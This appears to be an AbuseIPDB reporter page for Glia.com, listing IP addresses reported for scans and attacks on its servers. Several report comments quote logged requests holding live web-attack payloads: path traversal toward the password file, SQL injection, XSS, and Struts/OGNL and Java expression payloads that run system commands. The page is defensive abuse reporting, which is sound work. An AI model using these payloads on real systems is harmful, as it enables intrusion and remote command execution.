AbuseIPDB

JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

User Glia.com joined AbuseIPDB in July 2021 and has reported 162 IP addresses.

Standing (weight) is good.

INACTIVE USER

IP	Date	Comment	Categories
🇩🇪 167.172.181.209	31 Jan 2022	Null Byte Injection Attempts from 167.172.181.209 GET /index.php?option=com_jukebox&controller=. ... show more Null Byte Injection Attempts from 167.172.181.209 GET /index.php?option=com_jukebox&controller=.%2E%2F%2F%2F.%2E%2F%2F%2F.%2E%2F%2F%2F.%2E%2F%2F%2F.%2E%2F%2F%2F.%2E%2F%2F%2F.%2E%2F%2F%2F.%2E%2F%2F%2F.%2E%2F%2F%2F.%2E%2F%2F%2Fe%3Fc/pa%3Fswd%00 HTTP/1.1 host: test-app.default.svc.cluster.local x-request-id: e0d79a7d8b3c6b242999b279d0bc22c4 x-real-ip: 167.172.181.209 x-forwarded-for: 167.172.181.209 x-forwarded-host: test-app.salemove.eu x-forwarded-port: 443 x-forwarded-proto: https x-forwarded-scheme: https x-scheme: https x-original-forwarded-for: 167.172.181.209 x-amzn-trace-id: Root=1-61f30020-3a2fdea1410bd06a68d09402 user-agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36 show less	Hacking
🇩🇪 167.71.33.170	31 Jan 2022	GET /index.php?option=com_market&controller=.%2E%2F%2F%2F.%2E%2F%2F%2F.%2E%2F%2F%2F.%2E%2F%2F%2F.%2E ... show more GET /index.php?option=com_market&controller=.%2E%2F%2F%2F.%2E%2F%2F%2F.%2E%2F%2F%2F.%2E%2F%2F%2F.%2E%2F%2F%2F.%2E%2F%2F%2F.%2E%2F%2F%2F.%2E%2F%2F%2F.%2E%2F%2F%2F.%2E%2F%2F%2Fe%3Fc/pa%3Fswd%00 HTTP/1.1 host: test-app.default.svc.cluster.local x-request-id: d1c01703b1bbf7f11cc3ad9ad8ce5bb4 x-real-ip: 167.71.33.170 x-forwarded-for: 167.71.33.170 x-forwarded-host: test-app.salemove.eu x-forwarded-port: 443 x-forwarded-proto: https x-forwarded-scheme: https x-scheme: https x-original-forwarded-for: 167.71.33.170 x-amzn-trace-id: Root=1-61f2e882-2b67b2e75796c6b4523493b9 user-agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36 accept: / accept-language: en accept-encoding: gzip show less	Hacking
🇩🇪 167.172.103.132	31 Jan 2022	Example: GET /index.php?option=com_loginbox&view=.%2E%2F%2F%2F.%2E%2F%2F%2F.%2E%2F%2F%2F.%2E%2F% ... show more Example: GET /index.php?option=com_loginbox&view=.%2E%2F%2F%2F.%2E%2F%2F%2F.%2E%2F%2F%2F.%2E%2F%2F%2F.%2E%2F%2F%2F.%2E%2F%2F%2F.%2E%2F%2F%2F.%2E%2F%2F%2F.%2E%2F%2F%2Fe%3Fc/pa%3Fswd%00 HTTP/1.1 host: test-app.default.svc.cluster.local x-request-id: f6563c9a91cd87684c31fce58f0b678d x-real-ip: 167.172.103.132 x-forwarded-for: 167.172.103.132 x-forwarded-host: test-app.salemove.eu x-forwarded-port: 443 x-forwarded-proto: https x-forwarded-scheme: https x-scheme: https x-original-forwarded-for: 167.172.103.132 x-amzn-trace-id: Root=1-61f2e8ae-7337362757c6d9613ccb1359 user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36 accept: / accept-language: en accept-encoding: gzip show less	Hacking
🇩🇪 167.172.163.184	31 Jan 2022	Example: POST /?q=node&destination=node HTTP/1.1 host: test-app.default.svc.cluster.local x-r ... show more Example: POST /?q=node&destination=node HTTP/1.1 host: test-app.default.svc.cluster.local x-request-id: 8110a729ebdf3748425457f6542679c8 x-real-ip: 167.172.163.184 x-forwarded-for: 167.172.163.184 x-forwarded-host: test-app.salemove.eu x-forwarded-port: 443 x-forwarded-proto: https x-forwarded-scheme: https x-scheme: https x-original-forwarded-for: 167.172.163.184 content-length: 130 x-amzn-trace-id: Root=1-61f317c5-67e063632205ef07677c02d1 user-agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36 x-forwarded-client-cert: By=spiffe://cluster.local/ns/default/sa/default;Hash=bbb1071b63977e093ff82e7a16de6da372aebbc7df4ae564faf29c62a2610306;Subject="";URI=spiffe://cluster.local/ns/ingress-nginx/sa/ingress-nginx pass=lol&form_build show less	SQL Injection
🇩🇪 173.212.242.87	31 Jan 2022	example request: https://gist.github.com/indrekj/cd50ed5af3b77fc86c22c0159dac8f2a	Hacking
🇫🇷 5.188.70.85	18 Jan 2022	HTTP_429,2022-01-18T05:06:05+00:00,5.188.70.85,api.glia.com,GET /visitor_config? referrer=+OR+%22%2 ... show more HTTP_429,2022-01-18T05:06:05+00:00,5.188.70.85,api.glia.com,GET /visitor_config? referrer=+OR+%22%22+%3D+%22 HTTP/1.1 HTTP_429,2022-01-18T05:06:06+00:00,5.188.70.85,api.glia.com,GET /visitor_config? referrer=+AND+0 HTTP/1.1 show less	SQL Injection
🇦🇪 217.138.193.147	18 Jan 2022	HTTP_404,2022-01-08T16:50:08+00:00,217.138.193.147,sdk-docs.glia.com,GET /redirect.php/%22%3E%3Csc ... show more HTTP_404,2022-01-08T16:50:08+00:00,217.138.193.147,sdk-docs.glia.com,GET /redirect.php/%22%3E%3Cscript%3Ealert(%22document.domain%22)%3C/script%3E? subject=server&server=test HTTP/1.1 HTTP_302,2022-01-08T16:50:10+00:00,217.138.193.147,app.glia.com,GET /? page_id=0&&errors[fu-disallowed-mime-type][0][name]=%3C%2Fscript%3E%3Cscript %3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1 show less	Web App Attack
🇪🇬 154.179.254.215	18 Jan 2022	HTTP_429,2022-01-07T21:33:48+00:00,154.179.254.215,api.glia.com,"GET /visitor_config?&action:${%23 ... show more HTTP_429,2022-01-07T21:33:48+00:00,154.179.254.215,api.glia.com,"GET /visitor_config?&action:${%23a%3d%28new%20java.lang.ProcessBuilder%28new %20java.lang.String[]{%27cmd.exe%27,%27/c%20ipconfig.exe%27}%29%29.start%28%29,%23b %3d%23a.getInputStream%28%29,%23c%3dnew%20java.io.InputStreamReader%28%23b%29,%23d %3dnew%20java.io.BufferedReader%28%23c%29,%23e%3dnew%20char[50000],%23d.read%28%23e %29,%23matt%3d%23context.get %28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse %27%29,%23matt.getWriter%28%29.println%28%23e%29,%23matt.getWriter%28%29.flush %28%29,%23matt.getWriter%28%29.close%28%29} HTTP/1.1" HTTP_404,2022-01-07T21:27:30+00:00,154.179.254.215,api.glia.com,GET /http%3a//k1m42375q2yytqbt20upthisvj1cp9dz1qtdj18.burpcollaborator.net %3fsalemove_integration.js?ver=2 HTTP/1.1 show less	Web App Attack
🇮🇳 143.244.143.80	18 Jan 2022	HTTP_404,2022-01-07T17:34:21+00:00,143.244.143.80,app.salemove.com,GET /wp-content/ plugins/photoxh ... show more HTTP_404,2022-01-07T17:34:21+00:00,143.244.143.80,app.salemove.com,GET /wp-content/ plugins/photoxhibit/common/inc/pages/build.php?gid=%3C%2Fscript%3E%3Cscript%3Ealert %28document.domain%29%3C%2Fscript%3E HTTP/1.1 HTTP_404,2022-01-07T17:34:22+00:00,143.244.143.80,app.glia.com,GET /Schemas/$%7B %27%27.class.forName%28%27javax.script.ScriptEngineManager%27%29.newInstance %28%29.getEngineByName%28%27js%27%29.eval%28%27java.lang.Runtime.getRuntime %28%29.exec%28%22id%22%29%27%29%7D HTTP/1.1 show less	Web App Attack
🇩🇪 167.86.114.20	17 Nov 2021	HTTP bruteforce	Brute-Force Web App Attack
🇮🇳 14.139.86.3	17 Nov 2021	HTTP bruteforce	Brute-Force Web App Attack
🇺🇸 45.33.127.21	17 Nov 2021	HTTP bruteforce	Brute-Force Web App Attack
🇺🇸 45.33.127.65	17 Nov 2021	HTTP bruteforce	Brute-Force Web App Attack
🇮🇳 103.214.61.200	17 Nov 2021	HTTP bruteforce	Brute-Force Web App Attack
🇳🇱 194.62.29.93	17 Nov 2021	HTTP bruteforce	Brute-Force Web App Attack
🇺🇸 20.98.228.18	07 Nov 2021	Null Byte Injection Attempts from 20.98.228.18	Hacking Web App Attack
🇳🇱 164.90.203.110	07 Nov 2021	Generic vulnerability scan from 164.90.203.110	Hacking Web App Attack
🇳🇱 164.90.195.26	07 Nov 2021	Generic vulnerability scan from 164.90.195.26	Hacking Web App Attack
🇳🇱 164.90.195.186	07 Nov 2021	Magento Magmi XSS attempt from 164.90.195.186	Hacking Web App Attack
🇷🇺 176.222.57.46	07 Nov 2021	Generic vulnerability scan from 176.222.57.46	Hacking Web App Attack
🇷🇺 176.103.88.57	07 Nov 2021	CVE-2015-6522 SQL Injection attempt from 176.103.88.57	Hacking Web App Attack
🇮🇳 65.1.13.128	03 Nov 2021	Generic vulnerability scan from 65.1.13.128	Hacking Web App Attack
🇮🇳 202.160.133.86	03 Nov 2021	SQL Injection Recon Attempts from 202.160.133.86	Hacking Web App Attack
🇬🇧 139.162.214.170	03 Nov 2021	SQL Injection Recon Attempts from 139.162.214.170	Hacking Web App Attack
🇳🇱 45.80.149.198	03 Nov 2021	SQL Injection Recon Attempts from 45.80.149.198	Hacking Web App Attack